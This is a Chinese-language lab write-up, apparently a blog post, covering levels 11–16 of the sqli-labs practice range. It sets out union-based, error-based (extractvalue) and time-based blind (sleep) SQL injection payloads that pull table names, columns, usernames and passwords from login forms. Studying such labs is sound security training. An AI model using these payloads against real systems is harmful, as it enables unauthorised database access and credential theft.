sqli靶场学习记录-第十一关至十六关

第十一关

十一关肉眼可见的变化,不再是在链接上进行传参了,给了两个输入框进可以输入,在链接上传参页面不会发生变化了。
在这里插入图片描述
这里我们可以猜测两个输入框的作用,下面有一个提交按钮,那么这可能是一个查询框或者登录框,那么背后的网页代码php构造的查询语句很有可能是
select 字段名 from 表名 where username = '获取到的用户输入的值' and password = '用户输入的值'
类似于这样的查询语句,只是我们不知道闭合是如何构造的,那么我们就需要试错了
输入1'
在这里插入图片描述
发现页面有报错,那么我们构造一个闭合
1' or 1=1#
在这里插入图片描述
发现页面回显点,这里构造用的or和前面构造使用的and区别在于or只需要一个条件正确就会回显,and需要同时满足,这里明显查询1错误的就需要构造一个必然正确的条件,同时这里的注释就不能使用–空格了,之前使用–空格是因为我们是通过网页链接传参,网页会把我们输入的代码进行url编码,–空格编码后就是#,这里我们使用输入框就不需要编码,直接使用#注释掉后面的内容
通过这样的构造,那么后面的操作和第一到第四关就没有什么区别了,代码一模一样,下面给几条示例语句

回显点

1' union select 1,2 #
在这里插入图片描述

数据库版本

1' union select database(),version() #
在这里插入图片描述

表名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
在这里插入图片描述

字段名

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
在这里插入图片描述

内容

1' union select group_concat(username),group_concat(password) from users #
在这里插入图片描述
找到闭合方式后和第一关没啥区别

第十二关

和11关一模一样的界面
在这里插入图片描述
一样的先输入1/1'/1"测试,发现1"报错了于是用1" or 1=1#测试发现还是报错于是再输入1") or 1=1#就发现回显出了正确的信息
在这里插入图片描述
确定闭合方式就可以继续测试了和前面代码一样只放代码不放图了
1") union select 1,2#
1") union select database(),version()#
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1") union select group_concat(username),group_concat(password) from users#

第十三关

13关和前面页面一样,区别在于在测试注入点时发现没有回显点
1'
在这里插入图片描述
有报错信息再测试
1' or 1=1#
在这里插入图片描述
发现还是报错,再测试
1') or 1=1#
发现没有回显信息了,证明这个页面不会回显除报错之外的信息,那么就可以使用报错注入
和前面5/6关就没太大的区别了

数据库版本

1') or extractvalue(1,concat(0x3e,version()))#
在这里插入图片描述

数据库名

1') or extractvalue(1,concat(0x3e,database()))#
在这里插入图片描述

表名

1') or extractvalue(1,concat(0x3e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#
在这里插入图片描述

字段名

1') or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)))#
在这里插入图片描述

内容

1') or extractvalue(1,concat(0x7e,(select password from users limit 1,1)))#
在这里插入图片描述
报错注入差不多就是这样的流程

第十四关

14和13一样,区别在于闭合方式
下面是示例代码,具体流程参照13关
1" or 1=1#
1" or extractvalue(1,concat(0x7e,version()))#
1" or extractvalue(1,concat(0x3e,database()))#
1" or extractvalue(1,concat(0x3e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#
1" or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)))#
1" or extractvalue(1,concat(0x7e,(select password from users limit 1,1)))#

第十五关

15关界面和前面也都一样,但是无论如何输入数据都没有变化,也没有报错信息。这时候就需要测试是否存在时间盲注
时间盲注在前面9/10关也有相似流程,这里就简单的给一些示例代码,供参考

测试是否存在时间盲注

时间盲注也需要先测试闭合的方法,代码能够在后台跑,我们想要的效果才会体现出来,我们就去构造数值型和字符型测试,当页面出现睡眠开始转圈时,证明闭合方式对了,接下来就是利用一些函数进行注入
1 or sleep(5)
1' or sleep(5)#

判断数据库版本

1' or if(substr(version(),1,1)=6,null,sleep(5))#

数据库名

1' or if(length(database())=8,null,sleep(5))#
1' or if(substr(database(),1,1)='s',null,sleep(5))#

表名

1' or if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5,null,sleep(5))#
1' or if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u',null,sleep(5))#

字段名

1' or if(length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8,null,sleep(5))#
1' or if(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)='u',null,sleep(5))#

数据

1' or if(length((select username from users limit 1,1))=8,null,sleep(5))#
1' or if(substr((select username from users limit 1,1),1,1)='A',null,sleep(5))#

第十六关

同样和15关使用时间盲注

闭合方式

1") or sleep(5)#

数据库版本

1") or if(substr(version(),1,1)=5,null,sleep(5))#

数据库名

1") or if(length(database())=8,null,sleep(5))#
1") or if(substr(database(),1,1)='s',null,sleep(5))#

表名

1") or if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5,null,sleep(5))#
1") or if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u',null,sleep(5))#

字段名

1") or if(length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8,null,sleep(5))#
1") or if(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)='u',null,sleep(5))#

数据

1") or if(length((select username from users limit 1,1))=8,null,sleep(5))#
1") or if(substr((select username from users limit 1,1),1,1)='A',null,sleep(5))#

(ㅇㅅㅇ❀)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值